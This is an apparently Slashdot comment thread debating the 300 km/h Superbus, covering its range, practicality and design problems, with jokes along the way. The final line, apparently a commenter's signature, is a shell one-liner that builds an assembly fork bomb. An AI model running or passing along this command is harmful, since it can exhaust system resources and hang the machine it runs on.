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The 300 km/h Superbus
pigrabbitbear writes "Have you heard of the Superbus? You could have already, as it has been in prototype production for years, and has recently been gaining more attention at auto shows and through public demonstrations. Like a stretch Batmobile that seems yet another triumph for Saudi and Emirate auto enthusiasts, passengers and their entourages enter the car under a row of gull-wings. The bus runs on batteries, and it can fly along at nearly 300 km/h (or 192 mph), and quite 'silently.'"
First of all, the "thing" at the web site referenced is not a bus, itâ(TM)s a stretch limo. For example, the article goes on to say "The bus, which is better described as a sex-oozing cigarette-car..." Itâ(TM)s not a bus.
Secondly, yes, I like the idea of a 200 MPH bus. As long as it is mechanically fixed in some way to a dedicated road â" maybe with something like a continuous piece of metal to guide it and prevent it from careening into space...
Lastly, what's with the link to some advert-laden page-view magnet, instead of a direct link to the website of the project in question? Does Slashdot employ editors anymore? Did they ever?
Here it is: http://www.superbusproject.com/
If you want news from today, you have to come back tomorrow.
I'll pass, I saw the film: http://en.wikipedia.org/wiki/The_Big_Bus
was funny in pats I guess.... http://en.wikipedia.org/wiki/The_Big_Bus
"Have you ever thought about just turning off the TV, sitting down with your kids, and hitting them?"
That the bathroom is broken, and the next stop is in 1500 miles.
If I'm not mistaken, there was a SuperBus in there as well that did 300km/h
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For those times when you want to go somewhere, but you don't want to take anything with you or bring anything back.
In other words, fine for going from your hotel to your business meeting, but that's about it. Like a limo without the privacy and quiet. I can't imagine a use for this that would justify dedicated 200km/h lanes.
Ok, so it's not really designed for mass public transportation, but it looks like it shows some concepts which could be easily applied to mass-transit, long-distance buses.
Does anyone else think that self-driving, high-speed buses like that would eliminate the need for high-speed rail? With billions about to be spent on technology from the 1800's, it seems like there are other options which are much better suited to fulfilling America's transportation needs.
http://www.masturbateforpeace.com/
OK, somebody built a stretch-limo electric supercar. Those are fun, but not too useful. A stretch-limo version of a Ferrari has been built.
The dual rear axles steer, so the turning circle is reasonable. (Many tour buses have that feature.) The limited ground clearance is going to be a problem on a long vehicle. It would have trouble with many driveways and all speed bumps. They should have put in a suspension that allows lifting the vehicle when necessary.
The demo vehicle has lead-acid batteries and limited range. The designer talks about going to a more advanced battery technology. They also talk about battery swapping, but they'd need a network of battery-swap stations sized for this thing.
I probably know a little bit more about this thing than most and most of it is not good. Usually when trying something new, you'd expect people to try and prove the concept before doing anything really expensive. Here it was the other way around. Most of the effort was put into making a flashy prototype with all the bells and whistles in place. Really, worrying about where to mount the LCD displays? The result is a machine that incredibly expensive with no chance of commercialisation because litterally every part it contains is different. The things that were important, like aerodynamics and structural reliability have enough left over issues for anybody involved in the design to not want to be in it when it drives full speed. It it ever will. I suppose this is what you get when you hand over pretty much unlimited funding to people that have little interest in the actual science.
The speed of mass transit solutions is often irrelevant unless you're talking about ~300 mile trips where High Speed Rail becomes competitive with air travel. A much bigger factor is frequency. If you have to wait 15 minutes at a stop rather than 30 minutes then that shaves a considerable amount of time off your journey without resorting to unsafe velocities. When you see a tram with an aerodynamic front puttering along the street at 20MPH then you know that the aero front was all for show and had more to do with securing funding than actually improving performance. I suspect that the advertised top speed of this 'bus' has more to do with getting publicity and investor attention than anything that's likely to see service. Even on a German autobahn I wouldn't want to be sitting on a bus that goes faster than 70MPH.
That said, journey time alone is not the only factor in mass transit. Comfort and convenience are a big deal. I know I'd rather have a nap or read a book or get some work done than have to focus on driving.
Some of the routing ideas mentioned in the project's website are worth a closer look. Some interesting concepts in there.
Drill baby drill - on Mars
Does anyone else fear that this will be an excuse to make another "Speed" movie?
From personal experience the best way to use a bus is to drive from drinking establishment to drinking establishment, and those are few and far between in the kingdom of S.A. .. at least officially. Now in Germany where the small villages are spaced roughly 10 kilotons apart, we could go pub hopping almost faster than a bathroom break at 300 KPH.
Maybe sightseeing tours, where you can go from vegas to the hoover dam in minutes?
"Science flies us to the moon. Religion flies us into buildings." - Victor Stenger
If it's not atomic powered and can change tires automatically, I'm not riding in that deathtrap!
the preceding comment is my own and in no way reflects the opinion of the Joint Chiefs of Staff
The world's fastest limo! At that kind of speed, it might be the fastest way from LA to Las Vegas, if you count all the airport security, baggage, etc.
This is the school bus that Bruce Wayne used to ride.
"How perfectly Goddamn delightful it all is, to be sure" Charles Crumb
I found the limitations a bit much:
200km range... or about 124 miles. Doesn't even get you from San Francisco to LA. Even if it only takes you 30minutes to get there, you're only saving about an hour. And this would required dedicated infrastructure/roads. Not exactly easy given that our highways are already crowded.
Does it come with a spare? I realize that Greyhound buses have the same problem, but those buses a) carry many more people per trip and b) the company has a much better infrastructure for dealing with broken down buses. Plus the buses have no problems going over curbs, parking lot entrances etc..
Where do you store luggage? Do you hold your bags on your lap?
Looks like a stretch Ferrari. Interesting yes, practical no.
They're like a French No Doubt, right?
sic transit gloria mundi
I didn't think Germany measured distances in small nukes also.
Old .mil saying I heard a long time ago. There's a lot of variations but they all rely on you wanna be at least a KM away per KT at least for small values of KT. Once you get up to 100 or so the linear scaling breaks down pretty badly. Or another way to put it is if there's a grid of cities 10 KM apart you're wasting valuable fissionables if you hit each with more than 10 KT or so since that would be about the right value to relatively evenly toast an area. Dropping multiple 9 MT on a 10KM grid would be a bit excessive...
Its an old .mil saying because the assumption was because .ru overpowered us about 10 to 1, the forces in Germany would pretty much be a speed bump during an invasion until the NCA got around to releasing the nukes, at which point things get pretty messy.
"Science flies us to the moon. Religion flies us into buildings." - Victor Stenger
You could put a padded cow catcher on the front to loft pedestrians harmlessly over the top of the vehicle.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;